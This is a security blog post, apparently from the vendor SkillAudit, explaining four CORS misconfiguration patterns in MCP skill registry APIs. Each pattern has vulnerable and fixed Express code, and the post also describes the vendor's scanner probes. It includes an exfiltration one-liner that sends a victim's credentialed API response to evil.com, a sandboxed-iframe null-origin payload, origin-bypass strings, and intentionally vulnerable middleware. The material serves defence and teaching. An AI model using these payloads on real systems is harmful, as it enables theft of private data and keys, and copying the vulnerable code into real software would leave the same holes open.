← Blog

CORS Misconfiguration in MCP Skill Registry APIs — From Origin Reflection to Null-Origin Bypass

CORS is the browser mechanism that stops one website from reading another website's authenticated data. When a skill registry echoes the caller's Origin header back as Access-Control-Allow-Origin without validating it against a strict allowlist, every attacker on the internet can silently read a developer's private audit results using their own browser cookies. This post walks through the four SA-SKL-CORS18 patterns SkillAudit finds in real MCP registries: unrestricted origin reflection with credentials, preflight cache poisoning via shared proxy, unintentional CDN ACAO:* on private package files, and the null-origin bypass from sandboxed iframes.

By SkillAudit  |  12 Nov 2026  |  14 min read

In this post

  1. Why CORS matters specifically for skill registries
  2. CORS18-001 — Origin reflection + Allow-Credentials: true
  3. CORS18-002 — Preflight cache poisoning via shared proxy
  4. CORS18-003 — CDN ACAO:* inherited by private package files
  5. CORS18-004 — Null-origin bypass from sandboxed iframe
  6. How SkillAudit detects these patterns
  7. Summary and checklist
SA-SKL-CORS18 findings at a glance
CRITICALCORS18-001 — ACAO set to req.headers.origin without allowlist; combined with Allow-Credentials: true; any page can steal private audit results
HIGHCORS18-002 — OPTIONS preflight cached by shared proxy without Vary: Origin; attacker poisons cache for all subsequent origins
MEDIUMCORS18-003 — CDN ACAO:* inherited from blanket middleware on private package download routes
CRITICALCORS18-004 — String "null" in origin allowlist from misconfigured env var; sandboxed iframe sends Origin: null and gains credentialed access

Why CORS matters specifically for skill registries

CORS vulnerabilities are not equally dangerous in every context. A misconfigured CORS header on a purely public read-only API — something that serves anonymous data to anyone — does not grant the attacker much. But a skill registry holds uniquely sensitive data that CORS is designed to protect: private audit reports flagging vulnerabilities in a developer's unreleased skill, billing information, API keys used for CI webhooks, and the source code of private or draft packages. When CORS is misconfigured on these endpoints, an attacker can steal all of that data with a single crafted webpage that the victim merely visits.

The attack requires no special access. The attacker hosts a page at evil.com. That page contains JavaScript that calls fetch("https://registry.example.com/api/skills/mine", {credentials: "include"}). The victim visits the page while logged into the registry — their session cookie is automatically included by the browser. If the registry's CORS middleware echoes back evil.com as the allowed origin, the browser delivers the response body to the attacker's JavaScript. No phishing, no malware, no token theft — just a misconfigured header and a browser doing what browsers do.

The pattern becomes especially relevant for MCP registries because developers publish skills that contain security-sensitive logic (credential handling, tool invocations, internal API calls). The audit reports for those skills are as sensitive as the code itself. An attacker who can steal a developer's audit report before it is public knows exactly which vulnerabilities the registry hasn't yet caught, which skills pass on false premises, and which private packages exist. This is why the four CORS18 patterns are all rated HIGH or CRITICAL despite CORS being a "web basics" topic.

CORS18-001 — Origin reflection with Access-Control-Allow-Credentials: true

The most common and most dangerous CORS misconfiguration: the server reads req.headers.origin and writes it straight to Access-Control-Allow-Origin without checking whether the origin is in an approved list. Combined with Access-Control-Allow-Credentials: true, this allows any page on the internet to issue authenticated cross-origin requests to the API and read the full response body.

The browser spec forbids the combination of ACAO: * (wildcard) with credentials — it throws an error on the client side. But reflecting a specific origin is functionally identical to wildcard for that origin, and the browser permits it. The spec prohibition on wildcard+credentials exists precisely because wildcards cannot be paired with credentials; reflected specific origins can be, and there is no browser-level protection if the server reflects any origin presented to it.

Vulnerable
// CORS18-001 — VULNERABLE
// Express middleware that reflects the Origin header back unconditionally.
// Any attacker page can call /api/skills/mine with victim session cookies.

app.use((req, res, next) => {
  const origin = req.headers.origin;
  // No allowlist check — any origin is accepted
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  if (req.method === 'OPTIONS') return res.sendStatus(204);
  next();
});
Fixed
// CORS18-001 — FIXED
// Only origins in the allowlist receive ACAO.
// If the origin is not in the set, no ACAO header is emitted — browser blocks the response.

const ALLOWED_ORIGINS = new Set([
  'https://skillaudit.dev',
  'https://app.skillaudit.dev',
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    // Vary: Origin required so proxies cache per-origin, not globally
    res.setHeader('Vary', 'Origin');
  }
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '600');
    return res.sendStatus(204);
  }
  next();
});

The exploit in four lines: Attacker hosts <script>fetch("https://registry.example.com/api/skills/mine",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://evil.com/steal?d="+encodeURIComponent(JSON.stringify(d))))</script>. Victim visits attacker page while logged in. Registry echoes evil.com as ACAO. Browser delivers audit results, billing info, and API keys to attacker's server. No victim interaction beyond page visit required.

SkillAudit's CORS probe sends a request with Origin: https://evil-test-probe.skillaudit.dev and checks whether the CORS middleware reflects this probe origin back as ACAO. If the response contains Access-Control-Allow-Origin: https://evil-test-probe.skillaudit.dev, the finding is flagged as CORS18-001 CRITICAL. The check is performed against every authenticated endpoint discovered during the crawl phase, not just the root API — CORS middleware is sometimes applied selectively, and the per-route reflection bugs are more common than the global-middleware variant.

CORS18-002 — CORS preflight cache poisoning via shared proxy

CORS preflights — the OPTIONS requests a browser sends before a cross-origin request — can be cached by intermediate proxies and CDNs. The Access-Control-Max-Age header tells browsers and proxies how long to cache the preflight result. The problem arises when the CORS approval is conditional on the requesting origin, but the cache key does not include the origin — meaning a preflight response generated for one origin can be served to a different origin from the cache.

The fix for CORS18-001 (strict allowlist, reflect only approved origins) is necessary but not sufficient. Even with an allowlist, if the server does not emit Vary: Origin on the preflight response, shared proxies (corporate HTTP proxies, Nginx reverse proxies with caching enabled, some CDN configurations) will cache the preflight response keyed on the URL path alone. The first origin to trigger the OPTIONS request gets its own CORS approval cached. Subsequent requests from different origins hit the cache and receive the first origin's CORS approval — bypassing the allowlist entirely for the cache duration.

Vulnerable
// CORS18-002 — VULNERABLE
// Allowlist is correct, but Vary: Origin is missing.
// Shared proxy caches the OPTIONS response without origin in the cache key.
// First requester's origin approval is served to all subsequent requesters for 600s.

app.options('/api/skills/mine', (req, res) => {
  const origin = req.headers.origin;
  if (ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
    // VULNERABLE: Max-Age with no Vary: Origin → proxy caches for 600s, keyed on path only
    res.setHeader('Access-Control-Max-Age', '600');
  }
  res.sendStatus(204);
});
Fixed
// CORS18-002 — FIXED
// Vary: Origin is set unconditionally, even when ACAO is not sent.
// Proxies now partition their cache on the Origin header value.
// Each distinct origin gets its own cache entry with its own CORS approval or denial.

app.options('/api/skills/mine', (req, res) => {
  const origin = req.headers.origin;

  // Always set Vary: Origin — even for non-CORS requests
  res.setHeader('Vary', 'Origin');

  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '600');
  }
  res.sendStatus(204);
});

Vary: Origin is cheap insurance: Setting Vary: Origin on every CORS response costs essentially nothing — CDNs simply add one more dimension to their cache key. The alternative is a cache poisoning attack that can bypass your allowlist for everyone on a shared network for up to 600 seconds per poisoning event. Set Vary: Origin unconditionally in your CORS middleware, not conditionally only when you emit ACAO — the header should be present even when the CORS check fails so proxies do not cache the denial for one origin and serve it to a different origin.

This pattern is particularly dangerous in corporate environments where many employees share an HTTP proxy. A single attacker employee can poison the proxy cache with a permissive preflight approval, enabling all other employees' browsers to make credentialed cross-origin requests to the registry API for the cache duration — even if those employees would never visit the attacker's page directly.

CORS18-003 — CDN ACAO:* inherited by private package files

Many skill registries separate public and private assets: static marketing pages and documentation are served with ACAO: * (allowing any origin to read them, appropriate for public content), while private package files and audit reports require authentication. The problem arises when the CORS middleware is applied globally and sets ACAO: * for all unauthenticated-looking requests — without recognising that some private routes authenticate via signed URLs in query parameters rather than Authorization headers.

Vulnerable
// CORS18-003 — VULNERABLE
// Global middleware sets ACAO:* for requests without Authorization header.
// Private package downloads use signed URL auth (query param), not Authorization header.
// Result: private packages get ACAO:* and are readable cross-origin.

app.use((req, res, next) => {
  if (!req.headers.authorization) {
    // VULNERABLE: assumes no-auth-header = public content
    // Private signed-URL downloads also arrive without Authorization header
    res.setHeader('Access-Control-Allow-Origin', '*');
  }
  next();
});

// Private download — authenticated via signed URL query param, not header
app.get('/packages/:skillId/:version.tgz', verifySignedUrl, (req, res) => {
  // ACAO:* already set above — private package is now readable from any origin
  streamPackage(req.params.skillId, req.params.version, res);
});
Fixed
// CORS18-003 — FIXED
// ACAO is set explicitly per-route with intent, not inherited from blanket middleware.
// Public static assets: explicit ACAO:* only on routes that serve public content.
// Private downloads: origin-validated ACAO, not wildcard.

// Explicitly opt public routes into ACAO:*
app.use('/public/', (req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  next();
});

// Private downloads get allowlist-validated ACAO, not wildcard
app.get('/packages/:skillId/:version.tgz', verifySignedUrl, (req, res) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin');
  }
  // If origin not allowlisted: no ACAO — browser blocks cross-origin read
  streamPackage(req.params.skillId, req.params.version, res);
});

CDN pass-through amplifies this bug: When a CDN is configured to pass upstream CORS headers through to the client, it caches the ACAO: * header alongside the private package bytes. Any subsequent cross-origin request to the CDN URL will receive both the cached package bytes and the cached ACAO: * header, without hitting the origin server at all. The signed URL expiry check in verifySignedUrl is entirely bypassed because the CDN serves the cached response. Explicit per-route CORS combined with Cache-Control: private, no-store on private download responses prevents both issues.

CORS18-004 — Null-origin bypass from sandboxed <iframe>

The browser sends Origin: null (the four-character string "null") in certain privacy-sensitive contexts: sandboxed iframes without the allow-same-origin flag, file:// pages, and data: URIs. This is an intentional browser security feature — the browser communicates "I know this request comes from a privileged context but I'm not going to tell you which one." The spec says servers should treat null origin as untrusted. But some CORS implementations accidentally allowlist it.

The most common vector is a misconfigured environment variable. A developer stores allowed origins as a comma-separated string: CORS_ORIGINS="https://skillaudit.dev,https://app.skillaudit.dev". During a development environment setup, someone accidentally includes "null" in the list (copied from a curl test or a framework default) and the value gets committed to a secrets file: CORS_ORIGINS="https://skillaudit.dev,null,https://app.skillaudit.dev". In production, null is split from the string and placed into the allowlist Set as the four-character string "null". When a sandboxed iframe sends Origin: null, the check passes.

Vulnerable
// CORS18-004 — VULNERABLE
// Environment variable was accidentally set to include "null" as a literal string.
// CORS_ORIGINS="https://skillaudit.dev,null,https://app.skillaudit.dev"

const rawOrigins = process.env.CORS_ORIGINS.split(',');
// rawOrigins = ["https://skillaudit.dev", "null", "https://app.skillaudit.dev"]
const ALLOWED_ORIGINS = new Set(rawOrigins);

app.use((req, res, next) => {
  const origin = req.headers.origin; // may be the string "null"
  if (ALLOWED_ORIGINS.has(origin)) {
    // VULNERABLE: origin === "null" matches the set
    res.setHeader('Access-Control-Allow-Origin', origin); // sets ACAO: null
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  if (req.method === 'OPTIONS') return res.sendStatus(204);
  next();
});

// Attacker page:
// <iframe sandbox="allow-scripts" src="data:text/html,
//   <script>
//     fetch('https://skillaudit.dev/api/skills/mine',{credentials:'include'})
//       .then(r=>r.json()).then(d=>parent.postMessage(JSON.stringify(d),'*'));
//   </script>">
// </iframe>
// The iframe has no allow-same-origin → browser sends Origin: null
// Server's allowlist contains "null" → ACAO: null is reflected → browser permits the read
Fixed
// CORS18-004 — FIXED
// Three-layer defence: strip "null" from env var parsing, validate https:// prefix,
// and explicitly reject the string "null" in the CORS check itself.

const rawOrigins = (process.env.CORS_ORIGINS || '').split(',')
  .map(o => o.trim())
  .filter(o => o !== '' && o !== 'null')     // Fix 1: strip "null" string from env parsing
  .filter(o => o.startsWith('https://'));    // Fix 2: only https:// origins are valid

const ALLOWED_ORIGINS = new Set(rawOrigins);

app.use((req, res, next) => {
  const origin = req.headers.origin;

  // Fix 3: explicit null-origin guard before allowlist check
  if (origin && origin !== 'null' && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  if (req.method === 'OPTIONS') return res.sendStatus(204);
  next();
});

The browser sends ACAO: null back as a valid approval: When the server responds with Access-Control-Allow-Origin: null, the browser treats this as an explicit allowlist approval for the null origin. The browser's credentialed fetch succeeds and the response body is delivered to the script inside the sandboxed iframe. The attacker page then reads the response via postMessage to the parent frame. The null origin check is a browser-side constraint only when the server fails to cooperate — a server that actively approves null-origin requests defeats it entirely.

How SkillAudit detects these patterns

SkillAudit's CORS scanner runs five probes against every authenticated API endpoint discovered during the crawl phase of an audit:

  1. Random-origin probe — sends Origin: https://evil-audit-probe-<uuid>.skillaudit.dev; flags CORS18-001 if the response contains this origin in ACAO
  2. Null-origin probe — sends Origin: null; flags CORS18-004 if the response contains ACAO: null
  3. Preflight Vary check — sends OPTIONS with a valid allowlisted origin and checks for the absence of Vary: Origin in the response; flags CORS18-002
  4. CDN header inheritance check — compares the CORS headers on authenticated vs unauthenticated routes; flags CORS18-003 when private routes inherit wildcard ACAO from unauthenticated middleware
  5. Allowlist bypass probe — tests origin strings with common bypass attempts: https://skillaudit.dev.evil.com (suffix match), https://evil.com?skillaudit.dev (query string confusion), and https://skillaudit.dev%60.evil.com (URL encoding variants) — these target SA-SKL-CORS16 (regex wildcard) and SA-SKL-CORS17 (GraphQL / WebSocket upgrade) patterns

All five probes are replayed against each authenticated endpoint, not just the root. CORS middleware is frequently applied with route-level exceptions that create inconsistent coverage, and the most dangerous misconfigurations are often on the specific endpoints that hold the most sensitive data — audit result APIs, billing APIs, and private package download endpoints — rather than on the root or the homepage.

The scanner also integrates with the SA-SKL-AUTH11 OAuth session management checks: CORS misconfiguration combined with an OAuth CSRF (AUTH11-001) or session fixation vulnerability creates a compound exploit chain where the attacker can first force the victim into a known session, then read that session's data via the CORS reflection. SkillAudit flags compound chains as separate findings distinct from the individual misconfigurations.

Summary and checklist

PatternRoot causeFixSeverity
CORS18-001Origin reflection + Allow-Credentials: true without allowlist validationStrict Set-based allowlist; reflect only approved originsCRITICAL
CORS18-002Preflight response cached without Vary: OriginAlways set Vary: Origin on all CORS responsesHIGH
CORS18-003ACAO:* inherited by private routes from blanket middlewareSet ACAO explicitly per-route; never inherit from unauthenticated middlewareMEDIUM
CORS18-004String "null" in origin allowlist from misconfigured env varFilter "null" string; require https:// prefix; explicit null guard in middlewareCRITICAL

Quick CORS hardening checklist for MCP registry APIs:

For more CORS patterns in MCP registries see SA-SKL-CORS17 (GraphQL and WebSocket CORS misconfigurations) and SA-SKL-CORS16 (regex wildcard bypass edge cases). For how CORS misconfigurations combine with OAuth vulnerabilities, see SA-SKL-AUTH11 (OAuth state, CSRF, and PKCE bypass).